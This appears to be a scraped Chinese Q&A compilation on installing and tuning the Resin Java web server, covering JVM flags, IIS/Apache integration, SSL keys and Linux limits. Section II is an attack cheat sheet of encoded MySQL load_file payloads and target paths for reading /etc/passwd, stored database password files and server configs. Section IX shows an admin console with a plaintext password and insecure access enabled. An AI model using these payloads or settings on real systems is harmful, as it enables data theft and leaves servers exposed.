Ⅰ Resin的启动参数怎么写
(*^__^*) 嘻嘻……Resin的启动参数详解:1.命令行参数(Command-line arguments)-install (Windows) install Resin as a service (but doesn't automatically start.)-install-as xxx (Windows) install Resin as a named service (but doesn't utomatically start.)-remove (Windows) install Resin as a service (but doesn't automatically start.)-remove-as xxx (Windows) remove Resin as a named service (but doesn't automatically start.)2.JDK参数(JDK arguments:在Httpd.sh参数的配置)<1>.文件位置:${resin30}/bin/httpd.sh<2>.args='-J-server -Xms200m -Xmx1024m -Xloggc:./log/gc.log -XX:MaxNewSize=256m -XX:MaxPermSize=256m -Djava.awt.headless=true'参数说明:(1)J-server -Xms200m -Xmx1024m 其中,-Xms200m 表示启动时,初时内存大小,-Xmx1024m最大之一内存占用大小。(-Xmn100m可选)(2)-XX:MaxNewSize=256m -XX:MaxPermSize=256m 表示:内存的永久保存区域(PermGen space)的大小,PermGen space的全称是Permanent Generation space,是指内存的永久保存区域OutOfMemoryError: PermGen space从表面上看就是内存溢出,解决方法也一定是加大内存。说说为什么会内存益出:这一部分用于存放Class和Meta的信息,Class在被 Load的时候被放入PermGen space区域,它和和存放Instance的Heap区域不同,GC(Garbage Collection)不会在主程序运行期对PermGen space进行清理一般 -XX:PermSize=64M -XX:MaxNewSize=256m -XX:MaxPermSize=128m这些值不需要设置的,除非perm溢出,设置一下MaxPermSize就行,启动脚本加上-server后,也不用在设置MaxNewSize。(3)-Djava.awt.headless=true 解决在linux/unix验证码图片不能显示的问题。3.通用 JVM 参数指定传递到启动应用程序服务器进程的 Java 虚拟机代码的命令行参数。下面是可以在“通用 JVM 参数”字段中输入的可选命令行参数。如果输入多个自变量,请在每个自变量之间输入空格。重要: 如果该参数表明它仅适用于 IBM Developer Kit,您就无法为另一个 JVM 使用该参数,例如 Sun JDK 或 HP JDK。-Xquickstart可以使用 -Xquickstart 来以低于缺省方式的优化级别进行初始编译。之后,根据采样结果的不同,可以采用缺省方式下初始编译的级别来进行重新编译。适合于早期的平均速度比长期运行吞吐量更为重要的应用程序 -Xquickstart。在某些调试方案、测试装置和短时间运行的工具中,可以将启动时间缩短 15% 到 20%。-Xverify:none如果在类装入期间要跳过类验证阶段,可以使用 -Xverify:none。在启用即时(JIT)编译器的情况下使用 -Xverify:none 能够将启动时间缩短 10-15%。-Xnoclassgc可以使用 -Xnoclassgc 来禁用类垃圾回收。此操作可以提高类重用程度,并可以略微提高性能。但是,其代价是您无法收集这些类拥有的资源。可以使用 verbose:gc 配置设置(此设置将输出类垃圾回收统计信息)来监控垃圾回收。检查这些统计信息将帮助您理解再生的资源和再生资源必需的垃圾回收量之间的平衡。然而,如果在您的工作负载中反复地垃圾回收同一组类,那么您应该禁用垃圾回收。缺省情况下,启用类垃圾回收。
Ⅱ mysql中函数load_file()问题
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20) 2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 < 替换成空格 返回的是网页.而无法查看到代码. 3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件 5、c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf 查看WINDOWS系统apache文件 6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息. 7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 8、d:APACHEApache2confhttpd.conf 9、C:Program Filesmysqlmy.ini 10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径 11、 c:.xml 查看IIS的虚拟主机配置文件 12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看 13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上 14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看 15、 /etc/sysconfig/iptables 本看防火墙策略 16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置 17 、/etc/my.cnf MYSQL的配置文件 18、 /etc/redhat-release 红帽子的系统版本 19 、C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码 20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP. 21、/usr/local/app/php5/lib/php.ini //PHP相关设置 22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置 23、c:Program FilesRhinoSoft.comServ-UServUDaemon.ini 24、c:windowsmy.ini
Ⅲ resin的默认访问界面在哪个路径下
Window2003中文版。 2、Web服务器,我使用的是系统自带的IIS6。 3、JAVA处理平台,这里用的是JAVA 2 SDK,SE v1.4.2_06版。 4、jsp/Servlets运行平台,我选择的是Resin 2.1.16版,因为据说Resin比Tomcat运行效率高10倍以上,而关于 Resin的版本需要注意的是,我听说Resin 2.x属于免费版本,而3.x则是收费版本,所以选择Resin 2.1.16版。呵呵。 没东西了,开始。 一、安装JAVA 2 SDK 不做JAVA开发,安装一个标准环境就可以了,去java.sun.com,网页右边有快速导航,直接去下载好了,有中文版的。 我的安装文件名是:j2sdk-1_4_2_06-windows-i586-p.exe ,不提供URL了,自己找去。 运行安装,出现界面: 然后选择安装路径,全部安装好,自己操作,很简单的。 我装在C:\JDK目录下。 接下来设置环境变量,这一步很重要,别忘了: JAVA_HOME = C:\JDK CLASSPATH = C:\JDK\LIB\tools.jar;C:\JDK\LIB\dt.jar Path 路径里添加 C:\JDK;C:\JDK\bin 二、安装jsp/Servlets运行平台,Resin 哪里找?下载嘛,去,上去就找Download,下载最新版本就好了。 我用的文件名:resin-2.1.16.zip,解压缩到C:\resin目录 记得立即做好下面这一步,设置Resin的环境变量,我总是在这里忘了,最后系统找不到resin在哪里,当然不成功了。 RESIN_HOME = C:\resin 接下来我们继续,运行C:\resin\bin\httpd.exe 这时候等待,然后出来了2个窗口,仔细看清楚。需要注意的是,启动Resin Web 服务器和关闭服务器 都要使用小的这个窗口来操作,不要直接把后面的那个大的窗口给咔嚓掉哦。 这时候,Resin服务的终端输出上可以看到,http listening to *:8080 这表明Resin自带的web服务已经运行在本机的8080端口上了。 验证一下: 到这里,Resin服务器已经架设完毕,如果只自己做测试jsp或者服务器跑这么一个网站的话 完全足够用了。当然,总是访问8080端口也不是很方便,自己可以手工修改一下。 打开C:\resin\conf\resin.ini文件: 查找<http port=’8080’/>,这个是修改端口的 修改站点默认目录也有2种改法,现在系统用的是C:\resin\doc下的内容 在配置文件里面只要写相对路径doc就可以了。 也就是<doc-dir>doc</doc-dir>中间的doc这个地方。 看见没有? 是的,另外<http port=’8080’/>这里修改端口就可以了。 但是、、、 呵呵,谁让我还不满足呢。 三、将Resin挂接进IIS 我先把IIS6装起来,Win2003的好处就是不用的东西平时全都不开,呵呵,真不错。 按步骤进行: 在C盘建立C:\web\jspsite目录。这个就是jsp网站的主目录。 然后在目录下创建一个测试用的test.jsp文件。 输入以下内容: <HTML> <HEAD> <TITLE>Jsp Simple Example</TITLE> </HEAD> <BODY> <% out.println("Hello, world!"); %> </BODY> </HTML> 接着,在C盘建立C:\web\dllrun目录。 把C:\resin\libexec目录下的isapi_srun.dll 复制到C:\web\dllrun目录下。 至于为什么要把dll复制过去,原因就是jsp的解析是要通过Resin提供的第三方的isapi接口进行的。 平时客户端提交URL的时候,只要发现是.jsp,IIS将把.jsp丢给iis_srun.dll来执行。 后面这个目录还要再用,继续往下走: 启动IIS6.0,首先在Web服务扩展里面添加允许.jsp后缀的Web服务扩展。 扩展名什么都随意填写,我这里输入jsp。 这是Windows2003里面IIS6.0增强的安全功能,你可以允许服务器上有哪些服务扩展是允许的,哪些是禁止的。 允许JSP。 为了看得更清楚,我们建立一个新的站点。 打开站点属性,在ISAPI筛选器里面添加新的筛选器,名称随意,这里输入jsp, 再输入可执行文件,也就是刚才说的resin挂接IIS用的ISAPI过滤器,输入 C:\web\dllrun\isapi_srun.dll 确认后,要注意一点,就是刚刚挂接进去的dll不会立即生效,优先级也显示*未知* 没有关系,不用理会。继续往下走。 下面我们需要做的就是比较重要也很复杂的事情了,也就是修改Resin的配置文件。 仔细研究C:\resin\conf\samples下的配置文件的参考, 尤其是要研究iis.conf 和 virtual_host.conf 下面说一下我的计划,我计划是这样,建立一个带主机名的网站,这样来模拟真实服务器 环境中,虚拟主机的情况。 那么我计划建立一个jsp网站,abu.com 指向我的IP 127.0.0.1 而127.0.0.1直接访问,是IIS默认的asp网站。 如果这两个都能访问,那么表明,我们的目的已经达到了。 为了能够在本地实现访问abu.com的时候能够解析到127.0.0.1 我修改本机的hosts 接下来,我修改c:\resin\conf目录下的配置文件resin.conf 这里非常关键,但其实最重要的就两个地方。 将<doc-dir>注释掉,将Resin自带的8080端口运行的服务注释掉<http port=’8080’/> 加入<http-server app-dir=’C:\resin\doc’> 这里的app-dir是缺省路径,假如Resin自带的web 运行的话,缺省就是这个目录。 和下面这里: 仔细看<host>中间的这部分,这是建立虚拟主机的关键,每次增加虚拟主机就需要修改这个部分, 每个站点用<>括起来。 配置文件基本配好了。 下面添加一个resin.ini文件到先前建立的dllrun目录 添加内容 ResinConfigServer localhost 6802 CauchoStatus yes 意思就是当调用isapi_srun.dll的时候读取相关配置 回到IIS里面,将主机头名添加进去。 给虚拟主机用户添加账号。 加入Guests组 然后给对应的目录设定权限: 给C:\web\jspsite目录添加刚才用户的权限,注意需要给读写都给。 给c:\web\dllrun目录刚才那个用户的读权限: 在IIS6.0里面的应用程序池中间添加一个新的池 名字叫jspAppPool,然后给这个池 应用程序池标识给予SYSTEM权限。 其实这里可以给更低一点的权限的,有心的朋友可以自己研究一下。 把JSP的网站加入到这个池中方便集中管理。 在jsp的网站上添加一个虚拟目录,目录名为scripts,并且给予可执行的权限。 最后别忘了给这个网站的运行权限设定为刚才的jsp_user用户。 重启Resin,重启IIS。 检查Resin有没有挂接进IIS的办法就是看ISAPI筛选器 如果状态是绿色箭头,表示已经被系统挂接成功。 然后浏览abu.com访问test.jsp文件 而asp网站也同时可以运行
Ⅳ apache与resin如何在Linux操作系统中的及其他操作系统服务中配置
google上有很多这样的配置你可以去寻找以下,上面有你满意选择,个人建议你看以下apache的官方文档 下面是一个例子: 一、准备软件 J2SDK1.4.2.X ( http://java.sun.com ) mysql-connector-java ( http://www.mysql.com ) Resin3.0.X ( http://www.caucho.com ) [编辑]二、安装配置J2SDK 1. 安装J2SDK # chmod 755 j2sdk-1_4_2_*-linux-i586-rpm.bin # ./j2sdk-1_4_2_*-linux-i586-rpm.bin # rpm -ivh j2sdk-1_4_2_*-fcs-linux-i586.rpm # ln –s /usr/java/j2sdk1.4.2_* /usr/local/sdk 2. 配置系统环境变量 # vi /etc/profile 末尾处加入: JAVA_HOME=/usr/local/sdk RESIN_HOME=/usr/local/resin CLASSPATH=$JAVA_HOME/libJAVA_HOME/lib/dt.jarJAVA_HOME/lib/tools.jarJAVA_HOME/lib/htmlconverter.j arRESIN_HOME/lib:/usr/local/sdk/jdbc/mysql-connector-java-3.1.11-bin.jar export JAVA_HOME export RESIN_HOME export CLASSPATH export PATH=$PATHJAVA_HOME/binRESIN_HOME # exit //重新登录以使环境生效。 3. 确认J2SDK环境 # java –version //如果看到关于JAVA的版本信息则说明安装正确。 [编辑]三、安装MySQL-connector-java # tar xzvf mysql-connector-java-*.tar.gz # rm -f mysql-connector-java-*.tar.gz # mv mysql-connector-java-* /usr/local/sdk/jdbc [编辑]四、安装Resin # tar zxvf resin-*.tar.gz # rm -f resin-*.tar.gz # mv resin-* /usr/local/resin # cd /usr/local/resin # ./configure –with-java-home=/usr/local/sdk –with-apxs=/usr/local/apache/bin/apxs –with- apache=/usr/local/apache //在configure中对Apache进行整合,比Tomcat的JK2整合方式要简单许多! # make # make install //安装时Resin会自动将模块加载到Apache里,并且对httpd.conf进行修改! [编辑]五、配置环境 1. 配置Apache # vi /usr/local/apache/conf/httpd.conf 为了安全起见,需要禁止访问WEB-INF目录,添加: AllowOverride None deny from all 搜索:NameVirtualHost 将前面的注释去掉。 变成:NameVirtualHost *:80 之后在后面添加一个虚拟主机配置: ServerAdmin [email protected] DocumentRoot /www ServerName nanu.8866.org 最后文件末尾处要改成: # mod_caucho Resin Configuration # LoadMole caucho_mole /usr/local/apache/moles/mod_caucho.so ResinConfigServer localhost 6802 CauchoStatus yes SetHandler caucho-status AddHandler caucho-request jsp SetHandler caucho-request 2. 配置Resin(虚拟主机) # cd /usr/local/resin # ln -s ./httpd.pid ./resin.pid //建立Resin运行所需要的PID文件软链接。 # cp ./contrib/init.resin /etc/rc.d/init.d/resin //复制Resin的SysV脚本。 # chkconfig –add resin //将Resin加入sysV服务,开机自动启动。 # cp ./conf/resin.conf ./conf/resin.conf.bak //养成习惯,先备份配置文件。 # vi ./conf/resin.conf 找到: //配置默认的主机,匹配任何主机名。 //host id="" 由于没有指定主机名所以可以匹配任何的主机名,这样的设置只适用于单个主机的情况,如果你想做虚拟主机则必须指定host id="yourdomain",否则后面配置的任何虚拟主机都会自动先匹配这个host,因而虚拟主机也就失效了。 //请将webapps/ROOT换成你实际的站点根目录。 如果要添加虚拟主机,只需要在文件末尾处的 之前加入配置,下面是两个VirtualHost的示例,请根据你的情况更改配置中的域名、网站根等配置。) # service resin start # service httpd restart # more /usr/local/resin/log/stdout.log //检查Resin的启动和关闭日志有无错误。 # more /usr/local/resin/log/stderr.log //检查Resin的错误信息日志。 # more /usr/local/resin/log/jvm.log //检查JVM日志。 [编辑]六、测试 打开浏览器,输入 http://nanu.8866.org/caucho-status 如果显示Resin当前运行状态的页面则说明Resin运行正常。 # cp /usr/local/resin/webapps/ROOT/index.jsp /www/jsp/ 打开浏览器,输入 http://jsp.nanu.8866.org 如果显示Resin的默认页面则说明虚拟主机运行正常。 这个例子来源于google搜索 关键字:apache与resin
Ⅳ resin没有加载配置文件中站点配置
<!– 加载resin/lib下的所有.jar文件–> <class-loader> <tree-loader path…<!– – 环境上下文的检测时间,对于生产站点, 这个要设置长一点
Ⅵ 如何给JSP服务器Resin加上SSL认证
、 在WEB服务器中使用OpenSSL套件 1、安装OpenSSL 想要Resin可以响应SSL请求,我们就必需保证WEB服务器上已经安装好了相关的SSL套件。对于中小企业来说,开源免费的OpenSSL提供与SSL相同的认证功能。 OpenSSL的Linux版本可以在www.openssl.org网站上下载。现在它的最新版本是OpenSSL 0.9.8j。 Resin通过它的libexec/libresinssl.so JNI库文件提供对OpenSSL的支持。如果是在类Linux系统下使用OpenSSL,在安装时可以通过下列命令将它安装到指定的位置: ./configure –with-openssl=/usr/local/ssl 如果我们是在Windows系统中使用Resin,那么,我们同样需要在此操作系统下先安装好OpenSSL。Windows下的OpenSSL在www.slproweb.com/procts/Win32OpenSSL.html下载,它的最新安装文件是Win32OpenSSL-0_9_8j.exe,其大小为7MB左右。 在Windows系统下,Resin的resinssl.dll文件中包含提供对OpenSSL支持的代码。(在Resin3.0以前的版本是通过resin.dll文件提供支持的。)因此,在Windows系统下只需要安装好OpenSSL就可以让Resin使用它了。OpenSSL在Windows系统下很容易安装,就如同安装其它的应用程序一样简单。 不过,在Windows系统下安装完OpenSSL后,还应当将一些需要的DLL文件复制到Resin的根目录当中。现在假设Resin安装在c:\resin-3.2.1目录,OpenSSL安装在c:\Program Files\GnuWin32目录。现在打开系统开始菜单的“运行”对话框,在运行框中输入CMD命令,回车后进入命令行终端界面。然后在命令行终端下就可以通过下列所示的命令将OpenSSL安装目录下的相关文件复制到Resin的根目录下: cd resin-3.2.1 c:\Program Files\GnuWin32\bin\libssl32.dll c:\resin-3.2.1\libssl32.dll c:\Program Files\GnuWin32\bin\libeay32.dll c:\resin-3.2.1\libeay32.dll 2、生成SSL认证私钥 SSL认证的密钥由OpenSSL来生成,生成后的密钥应当保存到相应的Resin目录中。因此,在生成密钥前,我们可以在Resin根目录中创建一个keys子目录用来保存将要创建的密钥。在类Linux系统下,我们可以通过下列方式来创建keys目录: cd /resin mkdir keys 在Windows系统下,我们可以在资源管理器中直接在Resin根目录下创建一个新文件夹,并命名为keys即可。 在生成密钥时,OpenSSL会根据其配置文件中设置的内容来生成。在类Linux系统下,这个缺省的配置文件可能在usr/ssl/openssl.cnf或/usr/share/ssl/openssl.cnf下。而Windows系统中不存在这样的文件。 当然,我们还可以自己创建一个相应的配置文件保存到Resin/keys/目录下。这样,在创建密钥时,OpenSSL也会根据这个配置文件中的内容来创建,而且,在创建密钥时不会要求我们根据提示输入缺省的相关信息了。 下面是一个openssl.cnf配置文件的相关内容实例: [ req ] default_bits = 1024 #在这里填入加密键的缺省位数 distinguished_name = req的名称 [ req_distinguished_name ] C = 在这里填入国家的代码,例如CN,代表中国 C_default = ST = 这里填写州或省名称 ST_default = L = 城市 L_default = O = 企业或机构名称 O_default = OU = 组织中某个部门的名称,例如市场部 OU_default = CN = 我们的网站域名,必需是全名,例如www.myweb.com CN_default = emailAddress = 联系的E-Mail邮箱地址 emailAddress_default = 完成OpenSSL配置文件的相关设置后,我们就可以开始为SSL认证创建一个私钥。在WEB服务器上创建私钥时,会要求我们输入相应的密码,这个密码将会在我们使用创建的私钥时要求被输入。因此要牢记这个密码并妥善地保管它。我们还必需将这个密码加入到Resin的配置文件当中。 在类Linux系统下创建私钥时,私钥的文件名可以由我们自己决定,可以通过下列所示命令来完成: openssl genrsa -des3 -out myprikey.key 1024 在Windows系统下创建私钥。得先进入命令行终端界面,然后用CD命令切换到OpenSSL安装目录,再用下列命令产生私钥; c:\Program Files\GnuWin32\bin\openssl.exe genrsa -des3 -out myprikey.key 1024
Ⅶ linux resin怎么指定jdk
在resin/conf有resin.properties或者resin.conf(旧版本的文件名),这是resin的配置文件。监听端口、版watchdog端口、集群权/实例端口、jvm的内存配置,都在里面配置。如果端口无冲突的话,默认配置,直接启动即可。
Ⅷ 怎样测试resin配置文件是否正确
下载个 Resin 插件,然后创建 Runime 选好 Resin 目录和它的 JRE ,以后就在创建好配置之后有了 eclipse 的服务器编辑器了,部署就是在服务器上点”Add/Remove" 把程序加上去,点 Publish 和启动了。
Ⅸ resin 配置jvm 参数 在哪个文件
Resin配置优化1. Resin安装及自启动设置创建开机自动启动cp contrib/init.resin /etc/rc.d/init.d/resinvi /etc/rc.d/init.d/resin设置正确的路径JAVA_HOME=/usr/local/jdk1.6.0_13RESIN_HOME=/usr/local/resin-3.1.8赋予可执行权限chmod +x /etc/rc.d/init.d/resin加为自启动服务:chkconfig –add resinchkconfig –level 35 resin onservice resin start解决启动服务错误: log_daemon_msg: command not found将该函数调用到的地方注释掉并用echo 来代替。如:log_daemon_msg “resin start”改为echo “resin start”修改好后可以用service resin start/stop/restart来执行相关的命令。2. 设置resin.conf参数及JVM设置<jvm-arg>-Xmx4096m</jvm-arg><jvm-arg>-Xms4096m</jvm-arg><jvm-arg>-Xmn512M</jvm-arg><jvm-arg>-Xss50M</jvm-arg><jvm-arg>-XX:PermSize=768M</jvm-arg><jvm-arg>-XX:MaxPermSize=768M</jvm-arg><jvm-arg>-XX:SurvivorRatio=8</jvm-arg><jvm-arg>-XX:MaxTenuringThreshold=7</jvm-arg><jvm-arg>-XX:GCTimeRatio=19</jvm-arg><jvm-arg>-XX:+UseParNewGC</jvm-arg><jvm-arg>-XX:+UseConcMarkSweepGC</jvm-arg><jvm-arg>-XX:+CMSPermGenSweepingEnabled</jvm-arg><jvm-arg>-XX:+CMSClassUnloadingEnabled</jvm-arg><jvm-arg>-XX:+UseCMSCompactAtFullCollection</jvm-arg><jvm-arg>-XX:CMSFullGCsBeforeCompaction=2</jvm-arg><jvm-arg>-XX:-CMSParallelRemarkEnabled</jvm-arg><jvm-arg>-XX:+DisableExplicitGC</jvm-arg><jvm-arg>-XX:=70</jvm-arg><jvm-arg>-XX:SoftRefLRUPolicyMSPerMB=0</jvm-arg><jvm-arg>-XX:+PrintClassHistogram</jvm-arg><jvm-arg>-XX:+PrintGCDetails</jvm-arg><jvm-arg>-XX:+PrintGCTimeStamps</jvm-arg> <jvm-arg>-XX:+</jvm-arg><jvm-arg>-XX:+PrintGCApplicationStoppedTime</jvm-arg><jvm-arg>-Xloggc:log/gc.log</jvm-arg><jvm-arg>-Xdebug</jvm-arg><jvm-arg>-Dcom.sun.management.jmxremote</jvm-arg>内存设置配置:<memory-free-min>5M</memory-free-min>最大线程数<!– Maximum number of threads. –><thread-max>1024</thread-max><!– Configures the socket timeout –><socket-timeout>65s</socket-timeout>配置最活连接和超时时间<!– Configures the keepalive –><keepalive-max>2048</keepalive-max>keepalive-timeout>15s</keepalive-timeout>3. 配置jconsole监控JVM$JAVA_HOME/jre/lib/management/jmxremote.password.template的文件是远程连接时的设置用户和密码的文件,cp $JAVA_HOME/jre/lib/management/jmxremote.password.template $JAVA_HOME/jconsole/jmxremote.passwordchmod 600 $JAVA_HOME/jconsole/jmxremote.passwordvi jmxremote.password去掉#monitorRole RED前的注释并将RED修改为你要设置的密码。在resin.conf加入以下配置,其中被监控主机的IP需要和主机IP一致<jvm-arg>-Dcom.sun.management.jmxremote.port=12345</jvm-arg><jvm-arg>-Dcom.sun.management.jmxremote.ssl=false</jvm-arg><jvm-arg>-Dcom.sun.management.jmxremote.access.file=/usr/local/jdk1.6.0_13/jre/lib/management/jmxremote.access</jvm-arg> <jvm-arg>-Dcom.sun.management.jmxremote.password.file=/usr/local/jdk1.6.0_13/jre/lib/management/jmxremote.password</jvm-arg><jvm-arg>-Dcom.sun.management.jmxremote.authenticate=true</jvm-arg><jvm-arg>-Djava.rmi.server.hostname=192.168.100.9</jvm-arg>在客户端基本不用怎么设置,在 JDK 安装目录中(<JDK_HOME>/bin/jconsole.exe)启动 jconsole.exe 就可以打开主界面。输入192.168.100.9:12345 用户名和密码即可看到监控界面中关于jvm的相关信息。操作双击jconsole.exe启动连接对话框4. 配置Resin后台管理<management path=“${resin.root}/admin”><user name=“admin” password=“MnHpobDOvrMOyQFWoa5w7A==”/><resin:if test=“${resin.professional}”><deploy-service/><jmx-service/><log-service/><xa-log-service/></resin:if></management><web-app id=“/resin-admin” root-directory=“${resin.home}/php/admin”><!— Administration application /resin-admin–><prologue><resin:set var=“resin_admin_user” value=“admin”/><resin:set var=“resin_admin_password” value=“password”/><resin:set var=“resin_admin_external” value=“true”/><resin:set var=“resin_admin_insecure” value=“true”/></prologue></web-app>二。 网络优化部分1. 减少TCP连接中的TIME-WAIT或 CLOSE-WAIT包Vim /etc/sysctl.conf加入以下配置net.ipv4.tcp_syncookies = 1net.ipv4.tcp_tw_reuse = 1net.ipv4.tcp_tw_recycle = 1net.ipv4.tcp_fin_timeout = 15net.ipv4.tcp_keepalive_time = 1200net.ipv4.tcp_keepalive_probes = 5net.ipv4.tcp_keepalive_intvl = 15配置属性说明:net.ipv4.tcp_syncookies = 1 表示开启SYN Cookies。当出现SYN等待队列溢出时,启用cookies来处理,可防范少量SYN攻击,默认为0,表示关闭;net.ipv4.tcp_tw_reuse = 1 表示开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接,默认为0,表示关闭;net.ipv4.tcp_tw_recycle = 1 表示开启TCP连接中TIME-WAIT sockets的快速回收,默认为0,表示关闭。tcp_syn_retries :INTEGER默认值是5对于一个新建连接,内核要发送多少个 SYN 连接请求才决定放弃。不应该大于255,默认值是5,对应于180秒左右时间。(对于大负载而物理通信良好的网络而言,这个值偏高,可修改为2.这个值仅仅是针对对外的连接,对进来的连接,是由tcp_retries1 决定的)tcp_synack_retries :INTEGER默认值是5对于远端的连接请求SYN,内核会发送SYN + ACK数据报,以确认收到上一个 SYN连接请求包。这是所谓的三次握手( threeway handshake)机制的第二个步骤。这里决定内核在放弃连接之前所送出的 SYN+ACK 数目。不应该大于255,默认值是5,对应于180秒左右时间。(可以根据上面的 tcp_syn_retries 来决定这个值)tcp_keepalive_time :INTEGER默认值是7200(2小时)当keepalive打开的情况下,TCP发送keepalive消息的频率。(由于目前网络攻击等因素,造成了利用这个进行的攻击很频繁,曾经也有cu的朋友提到过,说如果2边建立了连接,然后不发送任何数据或者rst/fin消息,那么持续的时间是不是就是2小时,空连接攻击? tcp_keepalive_time就是预防此情形的。我个人在做nat服务的时候的修改值为1800秒)tcp_keepalive_probes:INTEGER默认值是9TCP发送keepalive探测以确定该连接已经断开的次数。(注意:保持连接仅在SO_KEEPALIVE套接字选项被打开是才发送。次数默认不需要修改,当然根据情形也可以适当地缩短此值。设置为5比较合适)tcp_keepalive_intvl:INTEGER默认值为75探测消息发送的频率,乘以tcp_keepalive_probes就得到对于从开始探测以来没有响应的连接杀除的时间。默认值为75秒,也就是没有活动的连接将在大约11分钟以后将被丢弃。(对于普通应用来说,这个值有一些偏大,可以根据需要改小。特别是web类服务器需要改小该值,15是个比较合适的值)再执行以下命令,让修改结果立即生效:/sbin/sysctl -p用以下语句看了一下服务器的TCP状态:netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'三。 解决Too many open files问题Too many open files 问题出现有两种情况:一种是在搜索的时候出现,多半是由于索引创建完毕之后被移动过,如果创建索引的时候不出现该错误,搜索的时候也一般是不会出现的。如果出现了,有两种处理办法,一种是修改合并因子和最小合并因子,并且使用IndexWriter.Optimize() 优化索引,这样会将索引文件数量减少到文件系统限制之内;另外一种办法是修改操作系统的打开文件数量限制。方法如下:按照最大打开文件数量的需求设置系统, 并且通过检查/proc/sys/fs/file-max文件来确认最大打开文件数已经被正确设置。 配置操作如下:# cat /proc/sys/fs/file-max如果设置值太小, 修改文件/etc/sysctl.conf的变量到合适的值。 这样会在每次重启之后生效。# echo 65535 > /proc/sys/fs/file-max编辑文件/etc/sysctl.conf,插入下行。fs.file-max = 65535执行sysctl –p生效设置ulimit –n 65535在/etc/security/limits.conf文件中设置最大打开文件数, 下面是一行提示:#添加如下这行。* – nofile 65535这行设置了每个用户的默认打开文件数为2048。 注意“nofile”项有两个可能的限制措施。就是项下的hard和soft。 要使修改过得最大打开文件数生效,必须对这两种限制进行设定。 如果使用“-”字符设定, 则hard和soft设定会同时被设定。硬限制表明soft限制中所能设定的最大值。 soft限制指的是当前系统生效的设置值。 hard限制值可以被普通用户降低。但是不能增加。 soft限制不能设置的比hard限制更高。 只有root用户才能够增加hard限制值。当增加文件限制描述,可以简单的把当前值双倍。 例子如下, 如果你要提高默认值1024, 最好提高到2048, 如果还要继续增加, 就需要设置成4096。另外一种情况是在创建索引的时候,也有两种可能,一种是合并因子太小,导致创建文件数量超过操作系统限制,这时可以修改合并因子,也可以修改操作系统的打开文件数限制;另外一种是合并因子受虚拟机内存的限制,无法调整到更大,而 需要索引的doc 数量又非常的大,这个时候就只能通过修改操作系统的打开文件数限制来解决了。在系统访问高峰时间以root用户执行以下的脚本,可能出现的结果如下:# lsof -n|awk '{print $2}'|sort|uniq -c |sort -nr|more131 2420457 24244其中第一行是打开的文件句柄数量,第二行是进程号。得到进程号后,我们可以通过ps命令得到进程的详细内容。ps -aef|grep 24204mysql 24204 24162 99 16:15 ? 00:24:25 /usr/sbin/mysqld系统默认程打开最多文件句柄数值1024。但是如果系统并发特别大,尤其是squid服务器,很有可能会超过1024。这时候就必须要调整系统参数,以适应应用变化。Linux有硬性限制和软性限制。可以通过ulimit来设定这两个参数。方法如下,以root用户运行以下命令:ulimit -HSn 4096 以上命令中,H指定了硬性大小,S指定了软性大小,n表示设定单个进程最大的打开文件句柄数量。设定句柄数量后,系统重启后,又会恢复默认值。如果想永久保存下来, /etc/security/limits.conf
Ⅹ 如何安装resin
1.Resin 可以在 http://www.caucho.com/download/index.xtp 免费下载和使用。使用Resin开发或者学习是免费的,但是如果把Resin作为收费产品发布是需要付费的。目前的版本是2.10.下载Resin 时选择Archive Versions 中的 windows.zip的普通安装包resin-2.1.0.zip.把该zip包解压到任何目录下面,如d: esin.以下介绍都假设Resin安装在d: esin下。进入d: esinin,键入httpd,可以在命令行控制台下运行Resin服务器。此时弹出一个有start 和stop两个Radio按纽和一close按纽的对话框。在这里可以看到Resin的运行信息。这些信息同时Resin可以在d: esinlog目录下面的stdout.log 日志文件中察看到。如:Resin 2.0.4 (built Thu Nov 15 17:56:24 PST 2001)Copyright(c) 1998-2001 Caucho Technology. All rights reserved.Starting Resin on Wed, 23 Jan 2002 14:41:47 +0800 (CST)http listening to *:80srun listening to haitaiserver:6802点选stop,可以停止当前的Resin服务器进程;再点选start,又可以开启新的Resin服务器进程。关闭该对话框,则回到Command 控制台的盘符提示状态下。如果在nt4或者win2k环境下,需要把Resin当成服务,只需要在Command控制台的该目录下,键入 httpd ?install,就可以在管理工具的服务下面看到新增了一条ResinWeb Server的自动的服务。以后只要进入nt 4或者win2k,就可以启动Resin服务。该服务也可以像其他服务一样设置成手动或者禁用状态。注意有的时候在安装完服务后,启动Resin,并不能看到自己写的Resin例程可以被解析,浏览器显示服务器找不到错误。只要重新启动win2k或者nt,就能解决该问题。下面简要介绍一下Resin服务器的配置。Resin服务器和大多数Java Web服务器一样,通过一个Xml文件配置。进入d: esinconf目录,打开resin.conf,这是一个xml格式的文本。这里面有很多标记,先查找到:。在标记对中的配置和resin的Java Web 服务器有关。找到,在标记对中的表示resin的根,相当于Apache的htdocs 或者 IIS 的wwwroot.Resin自带http服务器,但是也可以不使用它,采用Apache 或者 IIS做http服务器。这个在下面段落中会提到。再查找标记,它可以这样配置。host参数指定的是服务器,port指定的是http端口,默认是localhost和8080.还有标记。这个是jsp 和java Servlet的引擎配置。一般默认就可以了,除非6802端口已经被别的程序占用了。然后,配置jdk.这个需要在classpath中设置。右键点击我的电脑,在系统特性的高级标签中,点击环境变量,在系统变量中新建一个环境变量,变量名为classpath,值为jdk所在的目录;再新建另外一个环境变量,变量名为path,值为javac.exe 